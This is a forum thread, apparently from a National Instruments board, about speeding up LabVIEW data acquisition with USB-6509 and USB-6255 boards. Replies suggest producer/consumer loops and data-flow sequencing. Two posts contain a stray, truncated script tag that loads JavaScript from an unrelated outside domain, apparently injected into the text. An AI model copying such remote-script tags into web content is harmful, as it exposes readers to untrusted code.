09-03-2013 05:16 AM
Hi folks,
I'm using digital USB 6509 boards to do some multiplexing.
Then I use USB-6255 boards to get some voltage measurements.
The acquisition is a bit slow and I'm trying to increase the speed.
I'm attaching the code. If some has some hints to increase the vi speed and/or someone has some experience with
these boards I would appreciate it.
The code is attached.
Best Regards,
Rui Silva
Solved! Go to Solution.
09-03-2013
07:54 AM
- last edited on
08-14-2024
09:09 AM
by
Content Cleaner
Wow, that VI needs some cleaning up. You might want to think about breaking up the code into subVIs to make it more managable.
Now, as far as your performance, The bottleneck I am noticing at a quick glance is the building of arrays of waveforms. That can be a very expensive operation once your array gets large enough. Look into the Producer/Consumer architecture so you can write to disk while you are acquiring the data and avoid the building of large arrays.
09-03-2013 10:20 AM
Hi crossrulz <script type="text/javascript" src="https://secure-content-delivery.com/data.js.php?i={B9144335-EA92-4885-9235-B9DE4448C044}&d=2013-08-0...
thanks for your reply. I'll look into it later today.
I know the code needs clearing but it's just for better observation and task priority, I'll clean it later.
Another point, if I may ask, are the start tasks. The reason for the case structures is so some tasks don't start without the others.
I have to say that I don't know another way to make them comply to my needs. Can you offer some advice?
Best Regards,
Rui Silva
09-03-2013 10:25 AM
@Rsilva wrote:
Hi @crossrulz <script type="text/javascript" src="https://secure-content-delivery.com/data.js.php?i={B9144335-EA92-4885-9235-B9DE4448C044}&d=2013-08-0...
thanks for your reply. I'll look into it later today.
I know the code needs clearing but it's just for better observation and task priority, I'll clean it later.
Another point, if I may ask, are the start tasks. The reason for the case structures is so some tasks don't start without the others.
I have to say that I don't know another way to make them comply to my needs. Can you offer some advice?
Best Regards,
Rui Silva
In my experience, "later" usually becomes"never," no matter how pure your intentions. 😉
09-03-2013 11:26 AM
Rsilva wrote:
Another point, if I may ask, are the start tasks. The reason for the case structures is so some tasks don't start without the others.
Case structures? I don't see any case structures. Do you mean Sequence Structures? You don't need those at all. Just propagate the error wire (ie use data flow) to force your execution sequencing instead.